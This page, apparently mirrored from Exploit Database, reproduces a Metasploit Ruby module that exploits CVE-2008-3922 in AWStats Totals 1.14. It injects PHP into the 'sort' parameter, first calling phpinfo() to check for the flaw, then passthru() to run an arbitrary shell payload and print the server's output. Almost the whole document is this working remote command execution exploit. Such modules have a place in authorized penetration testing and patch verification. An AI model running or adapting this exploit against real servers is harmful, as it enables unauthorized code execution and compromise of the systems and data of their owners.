AWStats Totals 1.14 multisort – Remote Command Execution (Metasploit)

• Exploit Database
• 6 阅读

• 作者： Metasploit
  日期： 2011-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17324/

• ##
  # $Id: awstatstotals_multisort.rb 12715 2011-05-25 10:45:36Z patrickw $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'AWStats Totals =< v1.14 multisort Remote Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  					AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
  			},
  			'Author' => [ 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 12715 $',
  			'References' =>
  				[
  					['CVE', '2008-3922'],
  					['OSVDB', '47807'],
  					['BID', '30856'],
  					['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 512,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Aug 26 2008',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
  				], self.class)
  	end
  
  	def check
  		res = send_request_cgi({
  			'uri'=> datastore['URI'],
  			'vars_get' =>
  			{
  				'sort' => '"].phpinfo().exit().$a["'
  			}
  		}, 25)
  
  		if (res and res.body.match(/localhost/))
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		command = Rex::Text.uri_encode(payload.encoded)
  		sploit = datastore['URI'] + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'
  
  		res = send_request_raw({
  			'uri' => sploit,
  			'method'=> 'GET',
  			'headers' =>
  			{
  				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  				'Connection' => 'Close',
  			}
  		}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  
  			m = res.body.match(/YYY\n(.*)\nYYY/m)
  
  			if (m)
  				print_status("Command output from the server:")
  				print("\n" + m[1] + "\n\n")
  			else
  				print_status("This server may not be vulnerable")
  			end
  		else
  			print_status("No response from the server")
  		end
  	end
  
  end